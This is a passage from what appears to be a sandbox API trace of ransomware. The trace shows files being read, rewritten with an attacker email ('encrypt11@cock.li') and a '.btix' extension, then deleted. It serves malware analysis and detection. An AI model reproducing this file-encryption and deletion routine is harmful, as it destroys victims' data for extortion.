Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF") returned 68 [0159.937] lstrlenW (lpString=".1cd") returned 4 [0159.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF") returned 68 [0159.937] lstrlenW (lpString=".jpg") returned 4 [0159.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.073] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.073] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0160.074] GetLastError () returned 0x0 [0160.074] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0160.083] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0160.084] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.084] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.084] SetEndOfFile (hFile=0x36c) returned 1 [0160.084] CloseHandle (hObject=0x36c) returned 1 [0160.085] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.085] SetEndOfFile (hFile=0x33c) returned 1 [0160.085] CloseHandle (hObject=0x33c) returned 1 [0160.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf")) returned 1 [0160.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0160.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0160.086] lstrlenW (lpString=".doc") returned 4 [0160.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.086] lstrlenW (lpString=".docx") returned 5 [0160.086] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.086] lstrlenW (lpString=".pdf") returned 4 [0160.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.086] lstrlenW (lpString=".xls") returned 4 [0160.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.086] lstrlenW (lpString=".xlsx") returned 5 [0160.086] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.086] lstrlenW (lpString=".ppt") returned 4 [0160.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0160.086] lstrlenW (lpString=".zip") returned 4 [0160.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.086] lstrlenW (lpString=".rar") returned 4 [0160.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.086] lstrlenW (lpString=".bz2") returned 4 [0160.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.086] lstrlenW (lpString=".7z") returned 3 [0160.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0160.087] lstrlenW (lpString=".dbf") returned 4 [0160.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0160.087] lstrlenW (lpString=".1cd") returned 4 [0160.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF") returned 68 [0160.087] lstrlenW (lpString=".jpg") returned 4 [0160.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.087] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.087] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0160.087] GetLastError () returned 0x0 [0160.088] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x92e, lpOverlapped=0x0) returned 1 [0160.096] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x930, lpOverlapped=0x0) returned 1 [0160.097] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.097] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.097] SetEndOfFile (hFile=0x36c) returned 1 [0160.097] CloseHandle (hObject=0x36c) returned 1 [0160.097] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.098] SetEndOfFile (hFile=0x33c) returned 1 [0160.111] CloseHandle (hObject=0x33c) returned 1 [0160.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf")) returned 1 [0160.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF") returned 68 [0160.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF") returned 68 [0160.112] lstrlenW (lpString=".doc") returned 4 [0160.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.112] lstrlenW (lpString=".docx") returned 5 [0160.112] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.112] lstrlenW (lpString=".pdf") returned 4 [0160.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.112] lstrlenW (lpString=".xls") returned 4 [0160.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.112] lstrlenW (lpString=".xlsx") returned 5 [0160.112] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.112] lstrlenW (lpString=".ppt") returned 4 [0160.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF") returned 68 [0160.112] lstrlenW (lpString=".zip") returned 4 [0160.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.112] lstrlenW (lpString=".rar") returned 4 [0160.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.112] lstrlenW (lpString=".bz2") returned 4 [0160.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.112] lstrlenW (lpString=".7z") returned 3 [0160.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF") returned 68 [0160.112] lstrlenW (lpString=".dbf") returned 4 [0160.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF") returned 68 [0160.112] lstrlenW (lpString=".1cd") returned 4 [0160.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF") returned 68 [0160.113] lstrlenW (lpString=".jpg") returned 4 [0160.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.116] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.117] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0160.117] GetLastError () returned 0x0 [0160.117] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x926, lpOverlapped=0x0) returned 1 [0160.118] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x930, lpOverlapped=0x0) returned 1 [0160.119] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.119] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.119] SetEndOfFile (hFile=0x36c) returned 1 [0160.120] CloseHandle (hObject=0x36c) returned 1 [0160.120] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.120] SetEndOfFile (hFile=0x33c) returned 1 [0160.120] CloseHandle (hObject=0x33c) returned 1 [0160.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf")) returned 1 [0160.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0160.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0160.121] lstrlenW (lpString=".doc") returned 4 [0160.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.121] lstrlenW (lpString=".docx") returned 5 [0160.121] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.121] lstrlenW (lpString=".pdf") returned 4 [0160.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.121] lstrlenW (lpString=".xls") returned 4 [0160.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.121] lstrlenW (lpString=".xlsx") returned 5 [0160.121] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.121] lstrlenW (lpString=".ppt") returned 4 [0160.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0160.122] lstrlenW (lpString=".zip") returned 4 [0160.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.122] lstrlenW (lpString=".rar") returned 4 [0160.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.122] lstrlenW (lpString=".bz2") returned 4 [0160.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.122] lstrlenW (lpString=".7z") returned 3 [0160.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0160.122] lstrlenW (lpString=".dbf") returned 4 [0160.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0160.122] lstrlenW (lpString=".1cd") returned 4 [0160.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF") returned 68 [0160.122] lstrlenW (lpString=".jpg") returned 4 [0160.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.122] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.122] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0160.123] GetLastError () returned 0x0 [0160.123] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xab2, lpOverlapped=0x0) returned 1 [0160.618] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xac0, lpOverlapped=0x0) returned 1 [0160.619] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.619] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.619] SetEndOfFile (hFile=0x36c) returned 1 [0160.619] CloseHandle (hObject=0x36c) returned 1 [0160.619] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.619] SetEndOfFile (hFile=0x33c) returned 1 [0160.620] CloseHandle (hObject=0x33c) returned 1 [0160.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241043.wmf")) returned 1 [0160.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0160.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0160.621] lstrlenW (lpString=".doc") returned 4 [0160.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.621] lstrlenW (lpString=".docx") returned 5 [0160.621] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0160.621] lstrlenW (lpString=".pdf") returned 4 [0160.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.621] lstrlenW (lpString=".xls") returned 4 [0160.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.621] lstrlenW (lpString=".xlsx") returned 5 [0160.621] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0160.621] lstrlenW (lpString=".ppt") returned 4 [0160.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0160.621] lstrlenW (lpString=".zip") returned 4 [0160.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.621] lstrlenW (lpString=".rar") returned 4 [0160.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.621] lstrlenW (lpString=".bz2") returned 4 [0160.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.621] lstrlenW (lpString=".7z") returned 3 [0160.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0160.621] lstrlenW (lpString=".dbf") returned 4 [0160.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0160.621] lstrlenW (lpString=".1cd") returned 4 [0160.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241043.WMF") returned 68 [0160.622] lstrlenW (lpString=".jpg") returned 4 [0160.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.622] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.622] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0160.623] GetLastError () returned 0x0 [0160.623] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xf56, lpOverlapped=0x0) returned 1 [0160.685] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xf60, lpOverlapped=0x0) returned 1 [0160.686] ReadFile (in: hFile=0x33c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.686] WriteFile (in: hFile=0x36c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.686] SetEndOfFile (hFile=0x36c) returned 1 [0160.686] CloseHandle (hObject=0x36c) returned 1 [0160.686] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.686] SetEndOfFile (hFile=0x33c) returned 1 [0160.687] CloseHandle (hObject=0x33c) returned 1 [0160.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf")) returned 1 [0160.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF") returned 68 [0160.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF") returned 68 [0160.970] lstrlenW (lpString=".doc") returned 4 [0160.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.970] lstrlenW (lpString=".docx") returned 5 [0160.970] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0160.970] lstrlenW (lpString=".pdf") returned 4 [0160.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.970] lstrlenW (lpString=".xls") returned 4 [0160.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.970] lstrlenW (lpString=".xlsx") returned 5 [0160.970] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0160.970] lstrlenW (lpString=".ppt") returned 4 [0160.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF") returned 68 [0160.971] lstrlenW (lpString=".zip") returned 4 [0160.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.971] lstrlenW (lpString=".rar") returned 4 [0160.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.971] lstrlenW (lpString=".bz2") returned 4 [0160.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.971] lstrlenW (lpString=".7z") returned 3 [0160.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF") returned 68 [0160.971] lstrlenW (lpString=".dbf") returned 4 [0160.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF") returned 68 [0160.971] lstrlenW (lpString=".1cd") returned 4 [0160.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF") returned 68 [0160.971] lstrlenW (lpString=".jpg") returned 4 [0160.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.973] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.973] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0160.974] GetLastError () returned 0x0 [0160.974] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x11dee, lpOverlapped=0x0) returned 1 [0161.092] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x11df0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x11df0, lpOverlapped=0x0) returned 1 [0161.093] ReadFile (in: hFile=0x36c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.093] WriteFile (in: hFile=0x38c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, 